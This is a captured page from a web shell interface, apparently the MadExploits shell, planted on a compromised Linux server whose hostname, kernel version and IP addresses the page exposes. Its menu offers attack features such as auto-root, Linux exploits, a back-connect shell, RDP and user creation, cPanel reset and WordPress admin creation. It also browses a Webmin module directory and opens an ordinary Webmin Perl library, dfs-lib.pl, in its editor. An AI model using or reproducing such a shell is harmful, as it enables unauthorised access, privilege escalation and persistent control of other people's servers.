Linux server.thearyasamaj.org 4.18.0-553.56.1.el8_10.x86_64 #1 SMP Tue Jun 10 05:00:59 EDT 2025 x86_64
Apache
: 103.90.241.146 | : 216.73.216.213
Cant Read [ /etc/named.conf ]
5.6.40
ftpuser@mantra.thearyasamaj.org
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
libexec /
webmin /
dfsadmin /
[ HOME SHELL ]
Name
Size
Permission
Action
help
[ DIR ]
drwxr-xr-x
images
[ DIR ]
drwxr-xr-x
lang
[ DIR ]
drwxr-xr-x
CHANGELOG
196
B
-rw-r--r--
acl_security.pl
468
B
-rwxr-xr-x
backup_config.pl
602
B
-rwxr-xr-x
config-openserver
123
B
-rw-r--r--
config-solaris
153
B
-rw-r--r--
config-unixware
123
B
-rw-r--r--
config.info
211
B
-rw-r--r--
config.info.ca
267
B
-rw-r--r--
config.info.de
232
B
-rw-r--r--
config.info.es
247
B
-rw-r--r--
config.info.fr
161
B
-rw-r--r--
config.info.hu
209
B
-rw-r--r--
config.info.nl
215
B
-rw-r--r--
config.info.pl
234
B
-rw-r--r--
config.info.sv
165
B
-rw-r--r--
config.info.tr
141
B
-rw-r--r--
config.info.zh
125
B
-rw-r--r--
config.info.zh_TW
167
B
-rw-r--r--
defaultacl
7
B
-rw-r--r--
delete_share.cgi
354
B
-rwxr-xr-x
delete_shares.cgi
481
B
-rwxr-xr-x
dfs-lib.pl
3.32
KB
-rwxr-xr-x
edit_share.cgi
4.14
KB
-rwxr-xr-x
index.cgi
2.76
KB
-rwxr-xr-x
log_parser.pl
882
B
-rwxr-xr-x
module.info
193
B
-rw-r--r--
module.info.af
0
B
-rw-r--r--
module.info.af.auto
113
B
-rw-r--r--
module.info.ar
0
B
-rw-r--r--
module.info.ar.auto
139
B
-rw-r--r--
module.info.be
0
B
-rw-r--r--
module.info.be.auto
159
B
-rw-r--r--
module.info.bg
0
B
-rw-r--r--
module.info.bg.auto
190
B
-rw-r--r--
module.info.ca
0
B
-rw-r--r--
module.info.ca.auto
131
B
-rw-r--r--
module.info.cs
0
B
-rw-r--r--
module.info.cs.auto
115
B
-rw-r--r--
module.info.da
0
B
-rw-r--r--
module.info.da.auto
107
B
-rw-r--r--
module.info.de
0
B
-rw-r--r--
module.info.de.auto
112
B
-rw-r--r--
module.info.el
0
B
-rw-r--r--
module.info.el.auto
191
B
-rw-r--r--
module.info.es
0
B
-rw-r--r--
module.info.es.auto
119
B
-rw-r--r--
module.info.eu
0
B
-rw-r--r--
module.info.eu.auto
128
B
-rw-r--r--
module.info.fa
0
B
-rw-r--r--
module.info.fa.auto
143
B
-rw-r--r--
module.info.fi
0
B
-rw-r--r--
module.info.fi.auto
103
B
-rw-r--r--
module.info.fr
0
B
-rw-r--r--
module.info.fr.auto
131
B
-rw-r--r--
module.info.he
0
B
-rw-r--r--
module.info.he.auto
131
B
-rw-r--r--
module.info.hr
0
B
-rw-r--r--
module.info.hr.auto
130
B
-rw-r--r--
module.info.hu
0
B
-rw-r--r--
module.info.hu.auto
141
B
-rw-r--r--
module.info.it
0
B
-rw-r--r--
module.info.it.auto
121
B
-rw-r--r--
module.info.ja
0
B
-rw-r--r--
module.info.ja.auto
139
B
-rw-r--r--
module.info.ko
0
B
-rw-r--r--
module.info.ko.auto
128
B
-rw-r--r--
module.info.lt
0
B
-rw-r--r--
module.info.lt.auto
114
B
-rw-r--r--
module.info.lv
0
B
-rw-r--r--
module.info.lv.auto
120
B
-rw-r--r--
module.info.ms
0
B
-rw-r--r--
module.info.ms.auto
115
B
-rw-r--r--
module.info.mt
0
B
-rw-r--r--
module.info.mt.auto
109
B
-rw-r--r--
module.info.nl
0
B
-rw-r--r--
module.info.nl.auto
123
B
-rw-r--r--
module.info.no
0
B
-rw-r--r--
module.info.no.auto
111
B
-rw-r--r--
module.info.pl
0
B
-rw-r--r--
module.info.pl.auto
117
B
-rw-r--r--
module.info.pt
0
B
-rw-r--r--
module.info.pt.auto
134
B
-rw-r--r--
module.info.pt_BR
0
B
-rw-r--r--
module.info.pt_BR.auto
143
B
-rw-r--r--
module.info.ro
0
B
-rw-r--r--
module.info.ro.auto
136
B
-rw-r--r--
module.info.ru
0
B
-rw-r--r--
module.info.ru.auto
152
B
-rw-r--r--
module.info.sk
0
B
-rw-r--r--
module.info.sk.auto
120
B
-rw-r--r--
module.info.sl
0
B
-rw-r--r--
module.info.sl.auto
130
B
-rw-r--r--
module.info.sv
0
B
-rw-r--r--
module.info.sv.auto
107
B
-rw-r--r--
module.info.th
0
B
-rw-r--r--
module.info.th.auto
198
B
-rw-r--r--
module.info.tr
0
B
-rw-r--r--
module.info.tr.auto
149
B
-rw-r--r--
module.info.uk
0
B
-rw-r--r--
module.info.uk.auto
153
B
-rw-r--r--
module.info.ur
0
B
-rw-r--r--
module.info.ur.auto
190
B
-rw-r--r--
module.info.vi
0
B
-rw-r--r--
module.info.vi.auto
142
B
-rw-r--r--
module.info.zh
0
B
-rw-r--r--
module.info.zh.auto
113
B
-rw-r--r--
module.info.zh_TW
0
B
-rw-r--r--
module.info.zh_TW.auto
122
B
-rw-r--r--
rbac-mapping
115
B
-rw-r--r--
restart_sharing.cgi
302
B
-rwxr-xr-x
save_share.cgi
3.71
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : dfs-lib.pl
# dfs-lib.pl # Common functions for managing dfstab files BEGIN { push(@INC, ".."); }; use WebminCore; &init_config(); %access = &get_module_acl(); $default_type = 'nfs'; if ($config{'fstypes_file'} && open(TYPES, "<".$config{'fstypes_file'})) { if (<TYPES> =~ /^(\S+)/) { $default_type = $1; } close(TYPES); } %access = &get_module_acl(); # list_shares() # Returns a list of structures containing share details sub list_shares { local $lnum = 0; local @rv; open(DFS, "<".$config{'dfstab_file'}); while(<DFS>) { s/\r|\n//g; s/#.*$//; if (/^\s*\S*share\s+(.*)/) { # Found a share line local $share = { 'line' => $lnum, 'index' => scalar(@rv) }; local $line = $1; while($line =~ /\\$/) { $_ = <DFS>; s/\r|\n//g; s/#.*$//; $line =~ s/\\$//; $line .= $_; $lnum++; } $share->{'eline'} = $lnum; if ($line =~ /\s(\/\S+)/) { $share->{'dir'} = $1; } if ($line =~ /-d\s+"([^"]+)"/) { $share->{'desc'} = $1; } elsif ($line =~ /-d\s+(\S+)/) { $share->{'desc'} = $1; } if ($line =~ /-o\s+"([^"]+)"/) { $share->{'opts'} = $1; } elsif ($line =~ /-o\s+(\S+)/) { $share->{'opts'} = $1; } if ($line =~ /\s-F\s+(\S+)/) { $share->{'type'} = $1; } else { $share->{'type'} = $default_type; } push(@rv, $share); } $lnum++; } close(DFS); return @rv; } # create_share(&share) # Add a new share to the dfstab file sub create_share { &open_tempfile(DFS, ">> $config{dfstab_file}"); &print_tempfile(DFS, &share_line($_[0]),"\n"); &close_tempfile(DFS); } # modify_share(&share) # Modify an existing share sub modify_share { local $lref = &read_file_lines($config{'dfstab_file'}); splice(@$lref, $_[0]->{'line'}, $_[0]->{'eline'} - $_[0]->{'line'} + 1, &share_line($_[0])); &flush_file_lines(); } # share_line(&share) sub share_line { local $s = "share"; $s .= " -d \"$_[0]->{'desc'}\"" if ($_[0]->{'desc'}); $s .= " -o $_[0]->{'opts'}" if ($_[0]->{'opts'}); $s .= " -F $_[0]->{'type'}" if ($_[0]->{'type'} && $_[0]->{'type'} ne $default_type); $s .= " $_[0]->{'dir'}"; return $s; } # delete_share(&share) # Delete the share for a particular directory sub delete_share { local $lref = &read_file_lines($config{'dfstab_file'}); splice(@$lref, $_[0]->{'line'}, $_[0]->{'eline'} - $_[0]->{'line'} + 1); &flush_file_lines(); } # parse_options(string) # Parse a mount options string like rw=foo,nosuid,... into the associative # array %options. Parts with no value are given an empty string as the value sub parse_options { local($opt); undef(%options); foreach $opt (split(/,/, $_[0])) { if ($opt =~ /^([^=]+)=(.*)$/) { $options{$1} = $2; } else { $options{$opt} = ""; } } return \%options; } # join_options([&options]) # Returns a list of options from the %options array, in the form used in # the dfstab file sub join_options { local $o = $_[0] ? $_[0] : \%options; local(@list, $k); foreach $k (keys %$o) { if ($o->{$k} eq "") { push(@list, $k); } else { push(@list, "$k=$o->{$k}"); } } return join(',', @list); } # apply_configuration() # Apply the NFS configuration, returning undef on success or an error message # on failure sub apply_configuration { local $temp = &transname(); &system_logged("$config{unshare_all_command} >/dev/null 2>&1"); &system_logged("$config{share_all_command} >/dev/null 2>$temp"); local $why = `/bin/cat $temp`; unlink($temp); if ($why =~ /\S+/) { return $why; } return undef; } 1;
Close